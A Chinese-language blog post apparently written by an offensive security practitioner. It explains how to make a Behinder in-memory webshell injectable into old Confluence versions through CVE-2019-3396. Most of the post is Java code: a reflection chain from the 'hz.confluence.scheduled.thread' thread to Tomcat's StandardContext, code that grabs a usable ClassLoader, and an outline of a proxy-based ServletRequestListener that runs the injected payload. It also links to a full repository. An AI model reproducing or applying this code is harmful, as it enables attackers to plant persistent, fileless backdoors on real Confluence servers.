CVE-2019-3396 Memshell for Behinder

会!唱!会!跳!

CVE-2019-3396 Memshell for Behinder

在使用 java-memshell-generator 生成的 BCEL Payload 直接打 CVE-2019-3396 内存马的时候,发现是无法注入的,经过一段时间分析下来,发现是 Context 获取的原因,本文将分析 JMG 生成的内存马获取的 Context,和如果生成可以打 CVE-2019-3396 的内存马的思路。

虽然这个 CVE 时间久远,有可能是环境过于久远导致的问题出现但是本文先分析 JMG 工具生成的内存马的 Context 的方式。

  public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
    List<Object> contexts = new ArrayList();
    Thread[] threads = (Thread[])invokeMethod(Thread.class, "getThreads");
    Object context = null;
    try {
      for (Thread thread : threads) {
        if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
          HashMap childrenMap = (HashMap)getFV(getFV(getFV(thread, "target"), "this$0"), "children");
          for (Object key : childrenMap.keySet()) {
            HashMap children = (HashMap)getFV(childrenMap.get(key), "children");
            for (Object key1 : children.keySet()) {
              context = children.get(key1);
              if (context != null && context.getClass().getName().contains("StandardContext"))
                contexts.add(context); 
              if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
                contexts.add(context); 
            } 
          } 
        } else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
          context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
          if (context != null && context.getClass().getName().contains("StandardContext"))
            contexts.add(context); 
          if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
            contexts.add(context); 
        } 
      } 
    } catch (Exception e) {
      throw new RuntimeException(e);
    } 
    return contexts;
  }

按照正常来说,是没有问题的,关键在于这里的 Confluence 较低的版本,在远程调试之后发现线程中的这些位置都没有想要的 Context,所以之前的判断是正确的,我们需要重新获取到对的 Context 对象。

最终使用 java-object-searcher.jar 调试查找到了 StandardContext 的位置在

threads[x].contextClassLoader.confluenceMonitoring.registry.applicationContext.servletContext.context.context

具体的 getStandardContext 方法修改为以下

public static Object getStandardContext() throws Exception {
        // 获取当前线程的所有线程
        Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            try {
                // 需要获取线程的特征包含 hz.confluence.scheduled.thread
                if (thread.getName().contains("hz.confluence.scheduled.thread")) {
//                    threads[x].contextClassLoader.confluenceMonitoring.registry.applicationContext.servletContext.context.context
                    Object standardContext;
                    standardContext = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "contextClassLoader"),"confluenceMonitoring"),"registry"),"applicationContext"),"servletContext"),"context"),"context");
                    return standardContext;
                }
            } catch (Exception e) {
                FileWriter writer = new FileWriter("touch /tmp/success-error-2");
                PrintWriter printWriter = new PrintWriter(writer);
                e.printStackTrace(printWriter);
                printWriter.close();
                writer.close();
            }
        }
//         没有获取到对应
        Object standardContext = null;
        return standardContext;
    }

注意:java-object-searcher.jar 放置位置问题。

java-object-searcher.jar 文件需要放在 Confluence 的 classpath 的位置,然后使用 docker compose restart,最终在 URL http://192.168.127.137:8090/admin/classpath.action 中可以检查到 JAR 文件说明配置正确。

这里我们可以拿到 StandardContext 对象,最方便的方式就是注入 Listener 内存马了,这里我们会遇到第一个问题

假如你以为代码可以这么写的时候,会出现 ClassNotFoundException 的报错。

Class<?> filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); 
// 报错 java.lang.ClassNotFoundException: org.apache.tomcat.util.descriptor.web.FilterDef
// 一个例子,我们这里写的是 Listener 内存马,不需要在意这些细节

出现这个报错的原因是 ClassLoader 的问题,因为 Payload 打过去之后的 ClassLoader 是 XXX,而不是 XXX,所以我们需要重新获取 ClassLoader。再次查找对象可以在线程 hz.confluence.scheduled.thread 中获得。

// 先拿到 classLoader ,保证这个 classLoader 可以加载 tomcat 的 类
ClassLoader classLoader = null;
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
    for (Thread thread : threads) {
        try {
            // 需要获取线程的特征包含 hz.confluence.scheduled.thread
            if (thread.getName().contains("hz.confluence.scheduled.thread")) {
                //getField(thread, "contextClassLoader");
                classLoader = thread.getContextClassLoader();
        }
        }catch (Exception e){}
    }

CVE-2023-22527-MEMSHELL/src/main/MemShell/BehinderMemShell.java

具体代码:Avento/CVE-2019-3396-Memshell-for-Behinder: CVE-2019-3396 Memshell for Behinder (github.com)

通过创建一个动态代理对象,该对象实现了 ServletRequestListener 接口。每当调用 requestInitialized 方法时,该调用会被拦截并先执行 invoke 方法。在 invoke 方法中,我们可以注入自定义的恶意代码,例如冰蝎的注入代码。也就是说,我们的恶意代码是拦截下来调用的。